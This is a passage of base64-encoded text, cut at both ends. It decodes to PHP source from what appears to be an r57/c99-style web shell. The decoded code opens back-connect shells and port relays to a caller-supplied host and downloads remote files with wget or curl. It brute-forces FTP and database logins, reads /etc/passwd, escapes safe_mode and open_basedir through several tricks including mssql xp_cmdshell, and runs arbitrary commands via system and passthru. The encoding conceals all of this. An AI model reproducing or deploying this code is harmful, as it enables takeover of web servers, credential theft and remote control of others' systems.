haCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9kcGMuYyIsJGRhdGFwaXBlX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQogQHVubGluaygiL3RtcC9kcGMuYyIpOw0KICRibGFoID0gZXgoIi90bXAvZHBjICIuJF9QT1NUWydsb2NhbF9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0NCmlmICghZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKSkNCnsNCmlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7ICRuZm4gPSAkX1BPU1RbJ25ld19uYW1lJ107IH0NCmVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddOyB9DQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLA0KICAgICAgICAgICAgJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgICAgIG9yIHByaW50KCI8Zm9udCBjb2xvcj1XaGl0ZSBmYWNlPUZpeGVkc3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxlICIuJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddLiI8L2Rpdj48L2ZvbnQ+Iik7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCnsNCiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pDQogew0KIGNhc2Ugd2dldDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dnZXQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgLU8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBmZXRjaDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2ZldGNoJykuIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIC1wICIuJF9QT1NUWydyZW1fZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbHlueDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbGlua3M6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBHRVQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdHRVQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGN1cmw6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdjdXJsJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIH0NCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7IH0NCiBlbHNlDQogIHsNCiAgaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkgeyBlcnIoNCk7IH0NCiAgZWxzZQ0KICAgew0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSB7IGlmKGNob3AoJF9QT1NUWydsb2NfZmlsZSddKT09JGRpcikgeyAkX1BPU1RbJ2xvY19maWxlJ109JGRpci4oKCEkdW5peCk/KCdcXCcpOignLycpKS5iYXNlbmFtZSgkX1BPU1RbJ2Z0cF9maWxlJ10pOyB9IEBmdHBfZ2V0KCRjb25uZWN0aW9uLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKSAgIHsgQGZ0cF9wdXQoJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7CX0NCiAgIH0NCiAgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQoNCiBpZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikgfHwgKCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpKSkNCiAgew0KICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIil7DQogICBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogICBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9DQogICAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiAgfWVsc2UgaWYoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIil7DQogICAgJGNvbm5lY3Rpb24gPSAxOw0KICB9DQogIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KICBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogIGVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJiAoISR1c2Vycz1nZXRfdXNlcnMoJF9QT1NUWydkaWN0aW9uYXJ5J10pKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPkNhblwndCBnZXQgcGFzc3dvcmQgbGlzdDwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKXtAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTt9DQogfQ0KDQogZWNobyAkdGFibGVfdXAzOw0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYhJHNhZmVfbW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH0NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj48Yj48ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOw0KDQpmdW5jdGlvbiBkb3ppcDEoJGxpbmssJGZpbGUpDQp7DQogICAkZnAgPSBAZm9wZW4oJGxpbmssInIiKTsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpDQogICB7DQogICAgICAgJGNvbnQuPSBmcmVhZCgkZnAsMTAyNCk7DQogICB9DQogICBmY2xvc2UoJGZwKTsNCg0KICAgJGZwMiA9IEBmb3BlbigkZmlsZSwidyIpOw0KICAgZndyaXRlKCRmcDIsJGNvbnQpOw0KICAgZmNsb3NlKCRmcDIpOw0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnZnVuemlwJ10pKQ0Kew0KZG96aXAxKCRfUE9TVFsnZnVuemlwJ10sJF9QT1NUWydmemlwJ10pOw0KfQ0KaWYoZW1wdHkoJF9QT1NUWydyb290J10pKXsNCn0gZWxzZSB7DQogICAkcm9vdCA9ICRfUE9TVFsncm9vdCddOyB9DQoNCg0KDQoNCiAgJGMgPSAwOyAkRCA9IGFycmF5KCk7DQogIHNldF9lcnJvcl9oYW5kbGVyKCJlaCIpOw0KDQogICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOw0KDQogIGZvcigkaT0wOyAkaSA8IHN0cmxlbigkY2hhcnMpOyAkaSsrKXsNCiAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19IjsNCg0KICAkcHJldkQgPSAkRFtjb3VudCgkRCktMV07DQogIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKXsNCg0KICAgICAgICBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzKTsgJGorKyl7DQoNCiAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19IjsNCg0KICAgICAgICAgICAkcHJldkQyID0gJERbY291bnQoJEQpLTFdOw0KICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDIpew0KDQoNCiAgICAgICAgICAgICAgICAgZm9yKCRwPTA7ICRwIDwgc3RybGVuKCRjaGFycyk7ICRwKyspew0KDQogICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfSI7DQoNCiAgICAgICAgICAgICAgICAgJHByZXZEMyA9ICREW2NvdW50KCREKS0xXTsNCiAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQzKXsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgIGZvcigkcj0wOyAkciA8IHN0cmxlbigkY2hhcnMpOyAkcisrKXsNCg0KICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOw0KICAgICAgICAgICAgICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgICAgICB9DQoNCiAgfQ0KDQogICREID0gYXJyYXlfdW5pcXVlKCREKTsNCg0KDQoNCg0KICBmb3JlYWNoKCREIGFzICRpdGVtKQ0KICBpZihpc3NldCgkX1JFUVVFU1RbJ3Jvb3QnXSkpDQogIGVjaG8gInskaXRlbX1cbiI7DQoNCg0KDQoNCiAgZnVuY3Rpb24gZWgoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpew0KDQogICAgIGdsb2JhbCAkRCwgJGMsICRpOw0KICAgICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3RcLi4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBieSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsNCiAgICAgaWYoJG8peyAkRFskY10gPSAkb1syXTsgJGMrKzt9DQoNCiAgfQ0KDQppZigkc2FmZV9tb2RlKQ0Kew0KIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQ0KIHsNCiBjYXNlICdzYWZlX2Rpcic6DQogICRkPUBkaXIoJGRpcik7DQogIGlmICgkZCkNCiAgIHsNCiAgIHdoaWxlIChmYWxzZSE9PSgkZmlsZT0kZC0+cmVhZCgpKSkNCiAgICB7DQogICAgIGlmICgkZmlsZT09Ii4iIHx8ICRmaWxlPT0iLi4iKSBjb250aW51ZTsNCiAgICAgQGNsZWFyc3RhdGNhY2hlKCk7DQogICAgIGxpc3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOw0KICAgICBpZighJHVuaXgpew0KICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsNCiAgICAgaWYoQGlzX2RpcigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjsgZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7DQogICAgIH0NCiAgICAgZWxzZXsNCiAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAkZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQogICAgIGVjaG8gJGlub2RlLiIgIjsNCiAgICAgZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7DQogICAgIHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOw0KICAgICB9DQogICAgIGVjaG8gIiRmaWxlXG4iOw0KICAgIH0NCiAgICRkLT5jbG9zZSgpOw0KICAgfQ0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLl90ZXh0MjldOw0KIGJyZWFrOw0KICBjYXNlICd0ZXN0MSc6DQogICRjaSA9IEBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsndGVzdDFfZmlsZSddLiIiKTsNCiAgJGNmID0gQGN1cmxfZXhlYygkY2kpOw0KICBlY2hvICRjZjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QyJzoNCiAgQGluY2x1ZGUoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDQnOg0KICBpZihlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSkpIHsgJF9QT1NUWyd0ZXN0NF9wb3J0J10gPSAiMTQzMyI7IH0NCiAgJGRiID0gQG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsndGVzdDRfcG9ydCddLCRfUE9TVFsndGVzdDRfbWwnXSwkX1BPU1RbJ3Rlc3Q0X21wJ10pOw0KICBpZigkZGIpDQogICB7DQogICBpZihAbXNzcWxfc2VsZWN0X2RiKCRfUE9TVFsndGVzdDRfbWQnXSwkZGIpKQ0KICAgIHsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIHI1N190ZW1wX3RhYmxlIiwkZGIpOw0KICAgICBAbXNzcWxfcXVlcnkoImNyZWF0ZSB0YWJsZSByNTdfdGVtcF90YWJsZSAoIHN0cmluZyBWQVJDSEFSICg1MDApIE5VTEwpIiwkZGIpOw0KICAgICBAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIHI1N190ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnIi4kX1BPU1RbJ3Rlc3Q0X2ZpbGUnXS4iJyIsJGRiKTsNCiAgICAgJHJlcyA9IG1zc3FsX3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHI1N190ZW1wX3RhYmxlIiwkZGIpOw0KICAgICB3aGlsZSgoJHJvdz1AbXNzcWxfZmV0Y2hfcm93KCRyZXMpKSkNCiAgICAgIHsNCiAgICAgIGVjaG8gJHJvd1swXS4iXHJcbiI7DQogICAgICB9DQogICAgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIHI1N190ZW1wX3RhYmxlIiwkZGIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgIEBtc3NxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDUnOg0KICBpZiAoQGZpbGVfZXhpc3RzKCcvdG1wL21iX3NlbmRfbWFpbCcpKSBAdW5saW5rKCcvdG1wL21iX3NlbmRfbWFpbCcpOw0KICAkZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YIC90bXAvbWJfc2VuZF9tYWlsIjsNCiAgQG1iX3NlbmRfbWFpbChOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCAkZXh0cmEpOw0KICAkbGluZXMgPSBmaWxlICgnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSkuIlxyXG4iOyB9DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Nic6DQogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcsICIiLCAiIik7DQogICRkaXJfbGlzdCA9IEBpbWFwX2xpc3QoJHN0cmVhbSwgdHJpbSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSksICIqIik7DQogIGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRkaXJfbGlzdCk7ICRpKyspIGVjaG8gJGRpcl9saXN0WyRpXS4iXHJcbiI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDcnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbigkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSwgIiIsICIiKTsNCiAgJHN0ciA9IEBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7DQogIGVjaG8gJHN0cjsNCiAgQGltYXBfY2xvc2UoJHN0cmVhbSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0OCc6DQogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sICRfUE9TVFsndGVzdDhfZmlsZTInXSkpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOCddOw0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOSddOw0KICBicmVhazsNCmNhc2UgJ2NVUkwnOg0KICAgaWYoZW1wdHkoJF9QT1NUWydTbklwRXJfU0EnXSkpew0KDQoNCn0gZWxzZSB7DQokY3VybD0kX1BPU1RbJ1NuSXBFcl9TQSddOw0KJGNoID1jdXJsX2luaXQoImZpbGU6Ly8vIi4kY3VybC4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCmN1cmxfZXhlYygkY2gpOw0KdmFyX2R1bXAoY3VybF9leGVjKCRjaCkpOw0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KDQp9DQpicmVhazsNCmNhc2UgJ2NvcHknOg0KDQppZihlbXB0eSgkc25uKSl7DQppZihlbXB0eSgkX0dFVFsnc25uJ10pKXsNCmlmKGVtcHR5KCRfUE9TVFsnc25uJ10pKXsNCg0KfSBlbHNlIHsNCiR1MXA9JF9QT1NUWydzbm4nXTsNCn0NCn0gZWxzZSB7DQokdTFwPSRfR0VUWydzbm4nXTsNCn0NCn0NCiAgJHUxcD0iIjsgDQokdHltY3phcz0iIjsgDQoNCg0KJHRlbXA9dGVtcG5hbSgkdHltY3phcywgImN4Iik7DQoNCmlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRzbm4sICR0ZW1wKSl7DQokenJvZGxvID0gZm9wZW4oJHRlbXAsICJyIik7DQokdGVrc3QgPSBmcmVhZCgkenJvZGxvLCBmaWxlc2l6ZSgkdGVtcCkpOw0KZmNsb3NlKCR6cm9kbG8pOw0KZWNobyAiIi5odG1sc3BlY2lhbGNoYXJzKCR0ZWtzdCkuIiI7DQp1bmxpbmsoJHRlbXApOw0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdpbmlfcmVzdG9yZSc6DQogaWYoZW1wdHkoJF9QT1NUWydpbmlfcmVzdG9yZSddKSl7DQp9IGVsc2Ugew0KDQokaW5pPSRfUE9TVFsnaW5pX3Jlc3RvcmUnXTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KcmVxdWlyZV9vbmNlKCIkaW5pIik7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmluY2x1ZGUoJF9HRVRbInNzIl0pOw0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdnbG9iJzoNCmZ1bmN0aW9uIHJlZ19nbG9iKCkNCnsNCiRjaGVtaW49JF9SRVFVRVNUWydnbG9iJ107DQokZmlsZXMgPSBnbG9iKCIkY2hlbWluKiIpOw0KDQoNCmZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIHsNCg0KICAgZWNobyAiJGZpbGVuYW1lXG4iOw0KDQp9DQp9DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnZ2xvYiddKSkNCnsNCnJlZ19nbG9iKCk7DQp9DQoNCmJyZWFrOw0KY2FzZSAnemVuZCc6DQogaWYoZW1wdHkoJF9QT1NUWyd6ZW5kJ10pKXsNCn0gZWxzZSB7DQoNCiRkZXplbmQ9JF9QT1NUWyd6ZW5kJ107DQppbmNsdWRlKCRfUE9TVFsnemVuZCddKTsNCnByaW50X3IoJEdMT0JBTFMpOw0KcmVxdWlyZV9vbmNlKCIkZGV6ZW5kIik7DQplY2hvICI8L3RleHRhcmVhPjwvcD4iOw0KfQ0KYnJlYWs7DQogIGNhc2UgJ3BsdWdpbic6DQogIGlmICgkX1BPU1RbJ3BsdWdpbiddICl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkdWlkPTA7JHVpZDw2MDAwMDskdWlkKyspeyAgIC8vY2F0IC9ldGMvcGFzc3dkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogICAgICAgICAgICAgfQ0KICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY29tbWFuZCc6DQogICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkpIHsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic3lzdGVtIikgew0KICAgICAgICAgICAgICAgIHN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHN5c3RlbSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icGFzc3RocnUiKSB7DQogICAgICAgICAgICAgICAgcGFzc3RocnUoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwYXNzdGhydSI7DQogICAgICAgICAgICAgICAgf